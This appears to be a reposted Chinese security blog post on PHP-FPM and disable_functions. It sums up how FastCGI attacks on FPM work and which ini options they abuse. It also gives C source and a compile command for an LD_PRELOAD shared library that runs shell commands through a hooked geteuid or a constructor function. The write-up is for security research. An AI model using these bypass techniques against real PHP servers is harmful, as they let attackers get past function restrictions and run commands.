这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了,所以自己就简单的记录一下自己的思考,如文中有错误希望师傅们指出。
介绍
总结
-
disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
-
包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
-
攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
思考
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
__attribute__ ((__constructor__))
有如下说明1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加载共享库时运行,通常在程序启动时运行。//putenv("LD_PRELOAD=hack.so");
2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,通常在程序退出时运行。
参考:https://www.anquanke.com/post/id/175403 感谢:m3师傅 题外话:和师傅们交流会扩大自己的思路,不然会走进死胡同。 又想到空白之前给我说:不以物喜不以己悲。
- 结尾 - 精彩推荐 【技术分享】工控安全分析闲谈 【技术分享】Android OLLVM反混淆实战:算法还原 【技术分享】Java安全之Commons Collections5分析 戳“阅读原文”查看更多内容 原文始发于微信公众号(安全客):【技术分享】php内核分析-fpm和df的问题思考
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论